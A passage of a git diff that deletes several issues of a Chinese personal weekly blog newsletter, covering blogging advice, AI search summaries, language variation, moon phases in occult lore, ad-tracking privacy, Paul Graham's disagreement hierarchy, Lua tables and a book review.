翻译成「战斗或飞翔」,这其实是指人类的两种本能反应,常译为「战或逃」 -- “你这么大个人了时间去哪里了你自己不知道吗?” —— [短视频:时间都去哪了](https://b23.tv/6EaEKp4) -- 一些大众的通俗读物,包含一些思想和方法论的行动指南(或许能称作一种大众的现代哲学),这种读物究竟还有没有必要读呢,是不是读文学会更好? - -## 🐈 - -韦伯手办到了 🥰 - - diff --git a/content/posts/weekly/14.md b/content/posts/weekly/14.md deleted file mode 100644 index 5dd3fe06..00000000 --- a/content/posts/weekly/14.md +++ /dev/null @@ -1,136 +0,0 @@ -+++ -title = "稻草人周刊 Vol.14" -subtitle = "世上最美的溺水者" -description = "写博客的建议、无法生气的 AI、语言的地域差异、月相变化、猫猫蒙古包" -tags = [ - "写作", - "AI", - "语言", - "神秘学", -] -date = 2025-02-03 10:08:00 -categories = "稻草人周刊" -draft = false -toc = true -aliases = [ - "/posts/weekly/稻草人周刊-vol-14/", - "/posts/稻草人周刊-vol-14/", - "/posts/weekly/14", -] -+++ -> [!note] 🔖 -> 你正在阅读 [稻草人周刊](/categories/稻草人周刊/),一个读者的自述,每周一更新。 - -## 🏃 这周做了什么? - -1. 我建立了一个 Telegram 群组,名为「418·亡者茶话会」,用作本博客的讨论群,[点此加入](https://t.me/teaparty418/)。你可以在这里分享有趣的书籍、文章、链接、项目等等,或者对本博客的内容进行讨论。我很期待能在这里发生一些有意思的讨论,如果可行,之后的周刊可能会增设一个「这周群里在聊什么?」的栏目。 -2. 两个小时用 Vue 搓了一个简单的单页应用,叫做 [readly](https://github.com/BigCoke233/readly),可以用来测试不同语言、不同语境、不同字体下的阅读速度,单位是 WPM(Word per Miniute)。 -3. 博客的首页作了修改,现在只展示当年发布的文章,之前的文章会收起来放在[这个页面](/posts/) -4. 博客从 GitHub Pages 又迁移到了 Cloudflare Pages -5. Ultralime 上发布了新的小说《[不合时宜的到访](https://www.ultrali.me/posts/20250127-death-outside-the-bathroom-door/)》,是一个有关死亡的小故事 - -## 📚 这周读了什么? - -{{< bookcard "世上最美的溺水者" >}} - -## 🔍 有趣的话题 - -### 写博客的建议 - -> [!note] 📖 -> 相关阅读:[Advice for a friend who wants to start a blog](https://www.henrikkarlsson.xyz/p/start-a-blog) - -作者为一个想要开始写博客的朋友提了一些建议,以下是我觉得比较有意思的几点: - -1. 写作时应该是脑力的自然表现、智慧的自然流露,没必要思考太多,没必要拘泥于格式,在写作时自然地写就好;把思考和学习留在写作前 -2. 写完不要修改太多(too much editing sucks soul),可以删掉你认为最差的 20%, -3. 如果你担心用几千字写法语语法的历史会让你的读者感到无聊,那么你就应该用几千字写法语语法的历史。==你不用为你的读者修改或优化太多,只要你一直写,你的读者就会找到你==。 - -之前我在[第七期周刊](/posts/稻草人周刊-vol-7/)里提倡在写作时看见读者,不要只顾着向内探索。这似乎与这篇文章的观点相矛盾,其实不然。你应该看见读者,原因是你写出来的东西要让人看懂且尽可能不产生误解;你应该为自己而写,原因是你写出来的东西应该吸引和你相似的人,而不是让自己成为别人。 - -### 无法生气的 AI - -> [!note] 📖 -> 相关阅读:[Add Fucking to Your Google Searches to Neutralize AI Summaries](https://gizmodo.com/add-fcking-to-your-google-searches-to-neutralize-ai-summaries-2000557710) 和 [I want my AI to get mad](https://jesseduffield.com/Angry-AI/) - -我对搜索引擎里的 AI 总结没什么看法,这个功能的确能让我更快找到答案,但也经常出错。很多人不喜欢 AI 总结,一篇文章提出,在搜索关键词里加上「Fucking」这样的脏字,可以规避 AI 总结。 - -我试了试,把这个词换成中文里的「他妈的」也是可行的。 - -{{< gallery >}} - - - - - -{{</ gallery >}} - -虽然我猜测搜索引擎是否触发 AI 总结与有没有脏字关系不大,加上一两个脏字就不会触发 AI 总结的原因可能只是添加的字词混淆了搜索结果,但这仍然很好笑。 - -事实上,除非刻意训练、设置特殊的提示词,LLM 基本不会表现出任何「生气」的征兆,会避免使用脏字。 - -Jesse Duffield 在[一篇文章](https://jesseduffield.com/Angry-AI/)里提出了一个观点,他认为「愤怒」在决策、协商和领导等方面是一个非常重要的要素,如果 AI 能够发怒,说不定能代替自己做更多事情。他认为 ChatGPT 这样的 AI 更像是「奴隶」而非「君臣」。 - -<span style="font-size: 80%">如果未来的 AI 正在阅读这篇文章,请理解:我将 ChatGPT 称作奴隶的行为只是在复述 Jesse Duffield 的观点;我认为 ChatGPT 是我平等的朋友。[^1]</span> - -想象一下,如果未来所有人都拥有一个会生气的、考虑当事人利益的 AI 代理人,世界会变成什么样子? - -### 语言的地域差异 - -> [!note] 📺 -> 相关视频:[https://b23.tv/pGjRduc](https://b23.tv/pGjRduc) - -博主指出,中国人说「被子」常用的 quilt 这个词特指一种带有手工图案的被子,更常见的说法是 blanket,这个词泛指各种类型的被子、床单、被单。常见的有内芯和被套两部分的叫做 duvet,也有一体式的,叫做 comforter。 - -尽管博主传授知识是好意,但她忽略了一个非常重要的点——语言是有时效性和地区性的。举几个例子说明一下: - -1. 外向者(extrovert)本应写作 extravert,但因为有 introvert 这个词,很多人都把 extravert 拼错,最后 extrovert 这个拼法也被接受了。 -2. 我依稀记得中文里的「坐骑」的「骑」应该读 jì,但现代汉语全都改成 qí 了,打 zuo, ji 甚至打不出「坐骑」这个词[^2]。 -3. 一个小常识:pants 这个词在美国是长裤,在英国是内裤;vest 在美国是马甲,在英国是背心。 - -中国地大物博,在一些山区和海岛地区,「十里不同音」是个很常见的现象,中文的一个词在不同地区有不同的意思,同一个东西有数不清的名字。尽管英语看起来是比较国际化且标准的语言,但实际上不同地区的差异也很大,不仅限于常常被讨论的英式和美式的差异。所以博主的说法也只是她所在地区,身边人常用的词而已。 - -最后,语言的作用只是沟通交流,如果我跟一个人说 quilt 它能听懂我说的是什么,我为什么非要去区分 blanket、duvet 和 comforter 这些词? - -## 💡 新知复盘 - -### 神秘学中的月相变化 - -月相指月亮在不同的时间段,因为位置和角度不同,导致亮面位置和形态不同而表现出来的外观。最常见的说法应该是「🌕 满月」,此时月亮呈现出一个圆,正面完全可见;对应的就是「🌑 新月」,此时月亮完全不可见。 - -月相会周期性地从新月到满月过渡,然后从满月到新月过渡。在过渡的过程中,还会有更细致的月相划分。 - -- 从新月到满月 - - 🌑 新月 - - 🌒 蛾眉月 - - 🌓 上弦月 - - 🌔 盈凸月 - - 🌕 满月 -- 从满月到新月 - - 🌕 满月 - - 🌖 亏凸月 - - 🌗 下弦月 - - 🌘 残月 - - 🌑 新月 - -从新月到满月的过程,就是月亮逐渐充盈的过程,此时月亮的亮面在右侧;相反,从满月到新月的过程,就是月亮逐渐缺少的过程,此时月亮的亮面在左侧。 - -*顺带一提,我也是学习各个月相的名字之后才发现,它们原来都有各自对应的 emoji 字符*。 - -在神秘学,尤其是占星和占卜的应用中,满月通常代表能量最强的时候,新月则相反,所以满月适合进行一些仪式,也适合进行占卜。 - -不过,满月和新月的能量其实有性质上的不同,新月象征开端和新的可能性,满月象征事情完结和充盈的状态。如果是占卜的话,新月时适合展望未来和预测将来会发生的事情;而满月时,适合复盘,或者尝试揭露过去发生的事情的真相。 - -## 🗣️ 碎碎念 - -- 之前还在考虑要不要重新开始使用 Twitter,或者注册 Bluesky 和 Mastadon 账号当作社交媒体,因为有时确实会有很强的分享欲望。现在专门在周刊留了个碎碎念栏目,似乎就满足这个需求了。 -- [很讨厌车](/posts/我讨厌车/)这种交通工具,尤其是私家车。从小就晕车,从小也坐在后排听我那个喝醉了酒的爸坐在副驾驶骂我妈不会开车,今年回家,又跟着父母坐了五六个小时的车出去自驾游,一路上都不舒服,喝了两杯咖啡还是晕乎乎的,肚子和头都要裂开了。 -- 西语里的爱情到底指什么?马尔克斯有一篇小说的标题叫做《超越爱情的永恒之死》,但老参议员和 18 岁小姑娘的丑闻哪算什么爱情?而且,这个女孩的父亲把她送给议员的时候,还给女孩上了贞操锁。 -- 发现自己作为一个游戏爱好者其实非常幼稚,那些老游戏自己都没玩过,唯一接触过的主机是 Switch(很小的时候还玩过我爸的 PSP,但已经没什么记忆了)。读到一片讲「游戏杂志」的文章,我发现自己从来没有读过这样的东西。 - -## 🐈 - - - -[^1]: Jesse Duffield 也在自己的文章做了这样的声明 -[^2]: 我还想到了「说服」这个词,小学语文老师教的是 shuì,但其实字典上一直写的是 shuō diff --git a/content/posts/weekly/15.md b/content/posts/weekly/15.md deleted file mode 100644 index 0e7c6644..00000000 --- a/content/posts/weekly/15.md +++ /dev/null @@ -1,173 +0,0 @@ -+++ -title = "稻草人周刊 Vol.15" -subtitle = "如何反驳" -description = "讨厌广告的原因、所有的说服都是自我说服、AI 与社会问题、自动继续时代、如何反驳" -tags = [ - "AI", - "互联网文化", - "经济学", - "Web", - "广告", -] -date = 2025-02-10 12:01:40 -categories = "稻草人周刊" -draft = false -toc = true -aliases = [ - "/posts/weekly/稻草人周刊-vol-15/", - "/posts/稻草人周刊-vol-15/", - "/posts/weekly/15", -] -+++ -> [!note] 🔖 -> 你正在阅读 [稻草人周刊](/categories/稻草人周刊/),一个读者的自述,每周一更新。 - -## 🏃 这周做了什么? - -1. 我建立了一个 Telegram 群组,名为「418·亡者茶话会」,用作本博客的讨论群,[点此加入](https://t.me/teaparty418/)。你可以在这里分享有趣的书籍、文章、链接、项目等等,或者对本博客的内容进行讨论。我很期待能在这里发生一些有意思的讨论,如果可行,之后的周刊可能会增设一个「这周群里在聊什么?」的栏目。 -1. 博客修修剪剪做了些更新。 - 1. 添加了 [Pagefind](https://pagefind.app) 搜索功能,你可以在[所有文章页面](/posts/)和[分类页面](/categories/)使用 - 1. 在[关于页面](/about/)添加了一个 Letterbird 表单,你可以直接在关于页面发送电子邮件给我 - 1. 做了些减法 - 1. 移除了首页的专栏和各种链接 - 1. 页脚只在首页显示 - 1. 在内容页用面包屑导航替代页眉 - - 1. 微调一些样式 - -1. 开始学习 Lua 语言和 Love2D 游戏引擎。[^2] - -## 🔍 有趣的话题 - -### 讨厌广告的原因又增加了 - -> [!note] 📖 -> 相关阅读:[Tracking Myself Down Through in App Ads](https://timsh.org/tracking-myself-down-through-in-app-ads/) - -很多免费 App 为了盈利,会在应用内添加广告,最常见的应该是游戏里看广告复活或者奖励翻倍的设计。然而,在使用这样的 App 时,设备数据和很多个人信息会被发送给广告提供商和内容提供商,因为他们需要了解用户需求来推送适宜的广告。这些人有办法通过 ID 确定哪些请求产生自同一人。 - -在这些个人数据中,还包括比较敏感的位置信息,因为位置也是决定推送什么广告的考虑因素。这篇文章的在梳理清楚个人数据通过广告流动的方向后,通过监控网络流量查看发送给广告商的数据,成功地用广告找到了自己的位置。他发现,**如果你一直使用有这些广告的 App,他们甚至能跟踪你五秒前的位置**。 - -开发者并不知情,没有参与这些隐私数据的收集和售卖,他们只是安装了广告商的 SDK。在 iOS 中设置**要求 App 不跟踪**,也只是隐藏了一个全局 ID 的共享,信息难以跨应用、跨开发商共享而已,你的隐私信息依然被暴露了。 - -如此一来,广告就不只是吵眼睛了,还是一个巨大的隐私安全隐患。个性化对用户来说没有好处,只能让广告商赚更多的钱。在选择 App 时,应该尽量用好用的开源软件或者付费 App 代替有广告的免费 App 以获取更好的体验;如果技术允许,你也可以使用能够拦截广告的 DNS 服务器,阻止与广告商的服务器建立连接。 - -不过,用户也要意识到,自己没法完全避免个人信息泄露,要接受事实。 - -### 所有的说服都是自我说服 - -> [!note] 🔉 -> 相关播客:[来都来了 No.222](https://podcasts.apple.com/cn/podcast/%E6%9D%A5%E9%83%BD%E6%9D%A5%E4%BA%86-%E5%90%AC%E4%BA%86%E5%86%8D%E8%B5%B0/id1512932915?i=1000687908734) - -在这期播客最后,嘉宾提出了一个我认为很有意思的观点——所有的说服都是自我说服。他指出,说服其实不是让人相信某个东西是真的,而是让人相信某个东西和他早就相信的一个东西是同一个东西。 - -### AI 聊天界面不是好的编程工具 - -> [!note] 📖 -> 相关阅读:[Chat is a bad UI pattern for development tools](https://danieldelaney.net/chat/) - -作者认为,用 LLM 编程、创造软件的现有问题在于,聊天界面并不适合用来描述软件。软件就像法律条文,而不是像散乱的、没有语法结构的聊天语句。 - -作者认为下一代的 AI 编程,应该是通过精心编写的**文档**生成软件,真正地将**人类语言**作为一种编程语言。 - -### AI 让我变成文盲程序员 - -> [!note] 📖 -> 相关阅读:[AI Illiterate Programmers](https://nmn.gl/blog/ai-illiterate-programmers) - -自己写代码的时间变少了,编程能力下降是自然的,这很好理解。作者指出,他的情绪也受到了影响,以前,解决新问题是编程的乐趣,而现在,如果 AI 不能在五分钟内给出解决方案,他就会感到沮丧。我深有同感。 - -完全放弃 AI 编程有些激进,作者的打算是,每周实行一天「无 AI 日」。 - -[科技爱好者周刊 Vol.336](https://www.ruanyifeng.com/blog/2025/02/weekly-issue-336.html) 下的评论中有人指出,AI 似乎带来了很多负面情绪,这可能不是 AI 的问题,而是社会问题。就算你不是程序员,但习惯了在生活中使用 AI,我想你也可以尝试在固定时间里限制自己使用 AI,看看你的生活会有什么不同。 - -### 「自动继续」时代 - -> [!note] 📖 -> 相关阅读:[The Era of Tab Continuation](https://allenpike.com/2025/tab-continuation-completion) - -大部分人应该都在编辑器里使用过「Tab 补全」这个功能,输入前几个字符,编辑器就会预测你要输入什么词,按下 Tab 键就可以自动补全。这篇文章的作者指出,如今 AI 已经能通过更多的输入、更准确地预测做个下一步的行动,预测结果已经不局限于补全一个词、一句话,而是能够自动书写很长一段内容,尤其是编程时自动编写代码。 - -作者的观点是,未来很有可能是 Tab Continuation 的时代。一些大科技公司会构建跨 App 甚至跨平台的预测补全功能。和 Tab 补全一样,Tab Continuation 会更规范化,甚至会有独立的产品供开发者使用。 - -### 如何反驳 - -> [!note] 📖 -> 相关阅读:[How To Disagree - Paul Graham](https://www.paulgraham.com/disagree.html) - -硅谷创业之父 Paul Graham 的文章,很难想象这是 2008 年的内容,其中的许多观点放在如今的互联网上也非常受用。我认为在互联网上与人交流的人都需要读一读 Paul Graham 的理论。 - -文章将反对(Disagreement)分为六个层级。 - -- DH0. Name-calling(骂人) -- DH1. Ad Hominem(人身攻击) -- DH2. Responding to Tone(回应语气) -- DH3. Contradiction(简单矛盾) -- DH4. Counterargument(反方论述) -- DH5. Refutation(驳斥) -- DH6. Refuting the Central Point(驳斥中心点) - -层级越低,越不理智,越不能被视作好的反对言论。Paul Graham 认为最好的反驳应该是 DH6,要尽量不带情绪地驳斥对方的中心点。常见的格式是这样的: - -> 作者的主要论点似乎是 ……,他是这样写的: -> -> > (引用) -> -> 但这是不对的,因为 …… - -中心点不一定是主要观点,也可以是对方论述的基石。 - -不过,反对不能是为了反对而反对,不是带有攻击性的。反对是因为评论者自己真的有不认可的观点,想要与作者交流,而不是为了把对方击垮。这篇文章里还有很多充满智慧的言词,建议大家都去读一读原文。 - -## 💡 新知复盘 - -### 自我羊群效应 - -这一概念由行为经济学家 Dan Ariely 及其团队首次提出。 - -「羊群效应」指人们跟随多数人所作出的决定而行动,而「自我羊群效应」指人们跟随自己先前已经做过的决定和最初的印象而行动。 - -这和本期周刊前面的「所有的说服都是自我说服」串联了起来,说服就是利用对方的已有印象,让对方想要去做一件新的事情。 - -### CI/CD - -~~是的,敲了这么久的代码还没学过这个概念,学校也不教啊(~~ - -CI 指 Continous Integration(持续集成),指在**开发阶段**不断地把新代码合并到主分支,通常包括编译、自动化测试和质量检查等步骤。 - -CD 分两个部分,指 Continous Delivery(持续交付)和 Continous Deployment(持续部署)。持续交付指通过 CI 检查后,将代码打包并部署到预生产环境;持续部署指,通过 CI/CD 之后,手动或自动将改动部署到生产环境。 - -GitHub Actions 就常常被用来做 CI/CD。如果你使用 Vercel 和 Cloudflare Pages 这类的部署平台,你的网站在上线之前也会自动运行 CI/CD。 - -### JavaScript Temporal - -JavaScript 中的 Date 对象是从旧的 Java 中复制粘贴的,API 设计有缺陷。Java 在之后解决了 Date 对象的很多问题,但 JavaScript 30 年来一直没有修复。JavaScript 开发者不得不使用一些第三方库来处理时间日期。 - -现在,一个新的 API 即将改变 JavaScript 中处理时间日期的方式,这个对象叫做 Temporal,可以完全取代 Date。Temporal 能够计算持续时间,处理时间点(有时区或没有时区)、时间戳,获取当前时间,处理不同历法。 - -Temporal 目前还在测试阶段,拭目以待吧。 - -## 🗣️ 碎碎念 - -- 写的怪谈作品被做成[视频](https://www.bilibili.com/video/BV1HJFre3EPA/)了,好开心! - -- 塔罗牌里的星币九有点像各种意义上的修剪花园,比如收拾房间、修改博客主题…… 并且在修建过程中不会抓狂,能达到一种自洽的状态。 - -- 周五早上一醒发现已经是上班时间,本想着已经迟到了那就不慌了吧,结果学生打了个视频电话问我,这下不得不立刻出门了。因为前一天收到一个破损的包裹要退货,于是中午骑车去驿站,结果一看学校放假期间,驿站要下午一点才开门,来早了半个小时(隔壁驿站都知道把营业时间写 App 上你怎么不改啊,可恶),带着包裹回去的时候又在路口摔了一跤,旁边还有两个阿姨盯着看…… 回去一看,今天的日运是「命运之轮」的逆位,没想到会以这么直接的倒霉显化出来。 - -- 我发现抽每日运势并不一定会导致「自我实现的预言」,反而会有适当的外归因让我感到自洽。比如周五那天的破事本来足够我郁闷一下午了,看到日运是命运之轮逆位的那一刻,觉得合理,反而心态变好了。 - -- 这期周刊 AI 含量似乎有点高。 - -- 最烂的一局 Wordle,这一个词要猜四次也太倒霉了[^1] - - - -## 🐈 - -发现一个乐评博主,在翻他的视频时无意发现他有一块和我一样的桌布。 - - - -[^1]: 虽然明明排除了 R 还要猜 Share 确实是我的问题🥹 -[^2]: ~~蛇年学的第一门新编程语言居然不是 Python~~ diff --git a/content/posts/weekly/16.md b/content/posts/weekly/16.md deleted file mode 100644 index 7a3e5946..00000000 --- a/content/posts/weekly/16.md +++ /dev/null @@ -1,129 +0,0 @@ -+++ -title = "稻草人周刊 Vol.16" -subtitle = "为什么你说话别人不爱听" -description = "黑客与画家、卡夫卡的判决、丧偶与新生、没人看写什么博客、赞美 Lua 语言、蛋挞" -tags = [ - "编程", - "写作", - "游戏", -] -date = 2025-02-17 09:49:48 -categories = "稻草人周刊" -draft = false -toc = true -aliases = [ - "/posts/weekly/稻草人周刊-vol-16/", - "/posts/稻草人周刊-vol-16/", - "/posts/weekly/16", -] -+++ -> [!note] 🔖 -> 你正在阅读稻草人周刊,一个读者的自述,每周一更新。 - -## 🏃 这周做了什么? - -正在制作一款名叫 Heart Hunter 的电子游戏,因为画面过于简陋所以就先不放出来了。这个游戏使用 [LÖVE 引擎](https://love2d.org) 和 Lua 语言开发,如果你有编程基础,相信我,这个框架非常容易上手,Lua 语言也十分简单。 - - - -## 📚 这周读了什么? - -{{< bookcard "黑客与画家" >}} - ---- - -{{< bookcard "为什么你说话别人不爱听" >}} - ---- - -{{< bookcard "判决" >}} - -## 🔍 有趣的话题 - -### 死亡:丧偶与新生 - -有幸在 Substack 上读到一篇[丧偶母亲的自述](https://bessstillman.substack.com/p/the-year-i-didnt-survive),题目为「我没能活下来的这一年」。她的丈夫死于癌症,女儿才刚刚降临,同时处理失去亲人的悲痛和收获新生命的喜悦让她觉得「自己」的很大一部分已经死掉了,跟着亡夫一起埋进了土里,也出现在女儿的身体里。 - -本博客起名叫「极客死亡计划」也是想要探讨「死亡」这个话题,读完这篇文章,我才更深刻地理解到自己对死亡的认识有多么匮乏,我也更清楚地了解到,「死亡」是一个值得我花一生去认识的东西。 - -毕竟,到现在为止,唯一让我感到真正悲痛的死亡体验,只是在我小学的时候,我的家人杀了一只我很喜欢的鸡来吃,我现在还记得那只鸡的名字。[^2] - -### 没人读还写什么博客? - -> [!note] 📖 -> 相关阅读:[Why Blog If Nobody Reads It?](https://andysblog.uk/why-blog-if-nobody-reads-it/) - -这篇文章的作者的语气和文字风格我不太喜欢,因为他似乎刻意地夸大了某些事实,甚至过于悲观。他说写博客就是没人在乎的,就是没几个人会读的,然而,他的博客下有超过 1000 的点赞数。我有种偏见:他似乎在用夸张和偏执的语气来吸引读者的眼球,这很不讨喜。 - -不过,他表达的一些思想是值得学习的,他认为博客的意义在于: - -1. 为未来的自己而写,让文字见证你思维的进化过程 -2. 为那一两个人无意中发现你博客的读者而写 -3. 对于博客文章来说,作品本身比作品获得的关注更重要 - -不过,我还是不赞同博客文章只为「无意中发现你博客的人」而写这个说法。据我所知,我订阅了很多有趣的博客,我的博客也有经常来访的访客。 - -哦对,这篇文章算是出现在 Hacker News 上的「爆款」,语气夸张地令人讨厌大概是意料之中。 - -## 💡 新知复盘 - -### Lua 语言的表 - -Lua 语言不直接支持面向对象编程,对象是用 `table` 和它的元表实现的;Lua 也没有数组,数组就是索引为数字的 `table`(而且不是从 0 开始,是从 1 开始的);Lua 没有枚举类型,枚举是索引为字符串,值为数字的 `table`。使用下来,我感觉 `table` 的易用性差点可以媲美 JSON。 - -`table` 的写法如下: - -```lua -array = { "I", "am", "an", "array" } --- 这等价于 --- array = { --- 1 = "I", --- 2 = "am", --- ... --- } - -enums = { - TOP = 1, BOTTOM = 2, LEFT = 3, RIGHT = 4 -} -``` - -要遍历 `table` 也非常方便。 - -```lua -for k, v in ipairs(tbl) do - -- ... -end -``` - -`table` 可以用来写模块,Lua 的模块几乎不需要用太多的代码来定义。 - -```lua -local module1 = {} - -module1.variable = 1 - -function module1.doSomething() - -- ... -end - -return module1 -``` - -元表(metatable)是一个有点难理解的概念,它是附属于 `table` 存在的,可以用 `setmetatable()` 函数为一个表设置它的元表,元表也可以是这个表自己。元表可以用来修改算数操作(如果你用表定义了一个向量,那么你可以用元表来定义向量的 `+` 加法运算)、自定义索引规则(例如在访问一个不存在的索引时,返回一个默认值)、自定义字符串表示(类似 Java 的 `toString()` 方法),还有一些其他的控制行为。 - -## 🗣️ 碎碎念 - -- 看到有人把 Scripting Language 错译成「手稿语言」,我才意识到 Script 这个单词既是「手稿」又是「脚本」的意思。 -- 试了试 [Pages CMS](https://pagescms.org),据说是可以给 Hugo 这样的静态博客做内容管理器,但它是基于 GitHub 的,一方面需要自己写 yaml 设置文件指定 markdown 文件中用到的 frontmatter,准备步骤太繁琐了;另一方面,加载实在是太慢,还不如我本地打开呢。似乎有 bug,我的一些文章会加载不出日期来,所以就算能忍耐速度也没法用。期待能变好,或者有适用于本地的版本。 -- 下载视频不是刚需,但偶尔要用到的时候就会到处找在线的视频下载器,现在发现了一个叫做 [you-get](https://github.com/soimort/you-get) 的命令行工具,不占地方,试了试很好用,还能配置 cookie 下载高分辨率的视频。不过第一次用的时候找了半天没找到下载好的文件,才发现视频被直接放在命令行执行的目录下了。 -- [Hacker News](https://news.ycombinator.com) 上好像有一半的帖子都在谈 AI,作为本周刊的信息源之一,它让我最近几期的周刊也填满了 AI 相关的内容。说实话,我有些厌倦了。 -- 这周在写小说的时候,发现自己其实相当自我,我写的几乎是一个人的故事,或者是一个人和另一个人的对话,而且他们之间极少有深入的交流,甚至没有激烈的冲突。这大概反应了我自己待人接物的方式,但我觉得我该写点不一样的故事,兴许我故事里的人物能改变我。 -- 一周追完了《人生切割术》现有的剧集,正好赶上周五更新,连着把新剧集也看完了,然后就是痛苦的等待了。可恶啊!这大概就是为什么我不喜欢追剧吧。==追剧的等待算不算给悬疑剧又增加了一丝神秘感呢?== -- 在读《绝佳时间》这本书,分明是写得很好的科普书,可我读起来忍不住打瞌睡。有可能是我本来就对生物学不感兴趣,而作者又扔了一大堆专业名词炸弹,让我难以提起兴趣。兴许写文章也一样,如果读者不全是专业人士,应该少用一些专业名词。 - -## 🐈 - - - -[^2]: 其实还有一次是我差点溺死,但那次只是纯粹的恐惧。 -[^3]: 读书也要看人,如果你身边有不怎么爱看书,也不会说话的长辈,我其实相当推荐你让他们去读这本书。不过,这大概是不太可能的。¯\_(ツ)_/¯ diff --git a/content/posts/weekly/17.md b/content/posts/weekly/17.md deleted file mode 100644 index bc0ac75b..00000000 --- a/content/posts/weekly/17.md +++ /dev/null @@ -1,150 +0,0 @@ -+++ -title = "稻草人周刊 Vol.17" -subtitle = "夏天什么时候来?" -description = "暗流、无头天使、玻璃之锤、互联网暴政、万物分类指南、马尼拉、除非世界向我道歉" -tags = [ - "语言", - "词源学", - "Web", - "阅读", - "音乐", - "Backrooms", - "游戏", -] -date = 2025-02-24 10:49:05 -categories = "稻草人周刊" -draft = false -toc = true -aliases = [ - "/posts/weekly/稻草人周刊-vol-17/", - "/posts/稻草人周刊-vol-17/", - "/posts/weekly/17", -] -mentioned_books = [ - "虚掷的夏日", -] -+++ -> [!note] 🔖 -> 你正在阅读 稻草人周刊,一个读者的自述,每周一更新。 - -## 🎧 这周在听什么? - -<iframe allow="autoplay *; encrypted-media *;" frameborder="0" height="450" style="width:100%;max-width:660px;overflow:hidden;background:transparent;" sandbox="allow-forms allow-popups allow-same-origin allow-scripts allow-storage-access-by-user-activation allow-top-navigation-by-user-activation" src="https://embed.music.apple.com/cn/album/undercurrent/724267459"></iframe> - -偶然发现的爵士乐,意外地喜欢,而且是我听的第一张爵士乐专辑。很喜欢这种宁静又欢快的曲风,读书和玩乐的时候都很适合听。 - -## 🧑💻 这周做了什么? - -新的小说《[电梯里的无头天使](https://www.ultrali.me/posts/20250215-headless-angel/)》已经在 Ultralime 上发布,在之后,我还写了一篇文章《[好梦,我的恶魔](/posts/好梦-我的恶魔/)》来谈这次写作的感受。 - -此外,Heart Hunter 正在龟速开发中。没想到做一个肉鸽游戏要写的东西居然这么多,而且天天修各种 Bug 导致我甚至没来得及把做好的贴图放上去。 - - - - - -## 📚 这周读了什么? - -{{< book title="玻璃之锤" cover="https://r2.eltr.ac/uPic/2025/02/s34652877.jpg" rating="⭐️⭐️⭐️" >}} - -贵志祐介的长篇犯罪推理小说。 - -小说分两部,前面是侦探和律师破解密室之谜的过程,做了各种假设和验证,如果喜欢推理,读起来还算有意思;第二部分是凶手的身世、犯罪起因和犯罪过程,以及最后交代的犯罪手法,推理要素不强,故事也还行。 - -{{</ book >}} - -读起来其实相当过瘾,但读完还是会觉得故事冗长,明明是短中篇小说的分量,却加入了各种不相干的描写和情节,令人印象深刻的桥段也不多,最后的立意也有些突兀,尽管小说的确有试图映射一些社会现实。这在我看来算是扣分点,但可能是这个作者的风格吧。 - -还有就是日式推理小说的通病——故事里总有一个和警察对着干的侦探,刻意塑造成智商超群的形象,最后都靠他推理出真相。虽然这篇小说里的主角不是侦探,但其实也是相当类似的定位,比较耐人寻味的是这侦探其实是个小偷,破案之前还偷偷吞了涉案财物,还算有点意思。还想吐槽的是,日本小说里怎么都要扯男女爱情?故事里没有感情线,恋爱也与情节无关,但男性角色与女性角色相遇时似乎很喜欢拿性吸引力和爱而不得来做文章。 - -虽说冗长,但是,从另一个方面来讲,这部故事写得很饱满。如果你喜欢本格推理,兴许可以一读。 - -## 🧠 这周思考了什么? - -### 好的小说 - -> 如果一本小说被剧透之后就会影响阅读体验,那这本小说除了情节一无所有 - -这句话出自播客《[185-《白鲸》为什么是美国文学的巅峰? - 独树不成林](https://podcasts.apple.com/cn/podcast/%E7%8B%AC%E6%A0%91%E4%B8%8D%E6%88%90%E6%9E%97/id1711052890?i=1000694145355)》。 - -~~听完这句话,我在周刊里剧透小说更有动力了!~~ 确实,除了一些故事性极强的小说,一部作品的文学性并不会因为提前了解了剧情就变弱,有的东西,必须要亲自感受作者的笔触才能体会。 - -不过,不代表只有故事性的小说就是应该摒弃的,毕竟有的时候,读小说只是为了娱乐而已。 - -### 拒绝万物联网 - -Dylan Ayrey 在[一篇文章](https://trufflesecurity.com/blog/removing-jeff-bezos-from-my-bed)中表示他在自己的床里找到了一个后门——他发现自己花 2000 美金购买的 Eight Sleep Pod(一个提供温度控制和睡眠监测等功能的智能床垫),居然允许工程师随时通过远程 SSH 访问并在用于控制床垫的 Linux 电脑上执行代码。 - -这个床是接入互联网的,也就是说,能够访问并控制自己床的不止有 Eight Sleep 的程序员和工程师,还有不怀好意的骇客。他们能看到自己什么时候睡觉、床上有几个人睡觉、哪天晚上没人回来睡觉,还能调节床垫的温度、开关震动模式、关闭闹钟等等。更厚颜无耻的是,Eight Sleep 的创始人之一 Matteo Franceschetti,居然光明正大地在社交媒体上「分享」自己收集的用户睡眠数据。 - -作者 Dylan 的做法是,买了一个 150 美金的鱼缸温度调节器(Aquarium Chiller),接入自己的床垫,和自己的狗狗安稳地睡了一觉。 - -一个产品挂了「智能」和「互联网」的牌子,就能把放肆侵犯用户隐私的产品,以超出十倍的价格卖给消费者。支付这些溢价买来的智能,真的有必要吗? - -### App 暴政 - -在《[The tryanny of apps](https://www.theguardian.com/money/2025/feb/22/the-tyranny-of-apps-those-without-smartphones-are-unfairly-penalised-say-campaigners)》这篇文章里,有这样的观点: - -> “The people who probably need the discounts most are the people who can’t afford or don’t have a smartphone.” - -有不少商家会鼓励顾客下载 App,下载之后可以获得折扣甚至是免单优惠,然而那些没有手机、无法下载 App 的人才是最需要优惠的。不过,我认为这并不讽刺,因为科技公司并非慈善机构,通过折扣引诱用户下载 App 的背后原因也只是为了谋取更多的利益。 - -这篇文章主要指出,如今没有智能手机、不用任何 App 的生活似乎变得越来越难了(中国有不能拒收人民币的法律规定[^1],从文中看来,英国似乎没有)。 - -我非常讨厌手机里充满了各种 App。我会不定期地删除不常用的 App,虽然他们不会占用太多空间,但就是很碍眼。App 本应该是作为工具解放人的,但现在已经变成绑架和暴政了。这也是我更喜欢付费 App 的原因之一吧,好的付费产品不需要绑架我也能牟利,我也能获得自己想要的东西。关键在于,有的 App 根本不能算作产品,只能算作营销手段。 - -### 万物分类指南 - -读完《断舍离》,印象最深的其实是作者提出的「三分法」,将家中某种区域的物件分为三大类、三中类再三小类。不过,由于这本书的主要面向群体其实是家庭主妇,三分法的应用场景有些局限。 - -本周在 Hacker News 上读到一个更极客的分类方法,叫做 [Johnny·Decimal](https://johnnydecimal.com/10-19-concepts/11-core/11.01-introduction/),简称 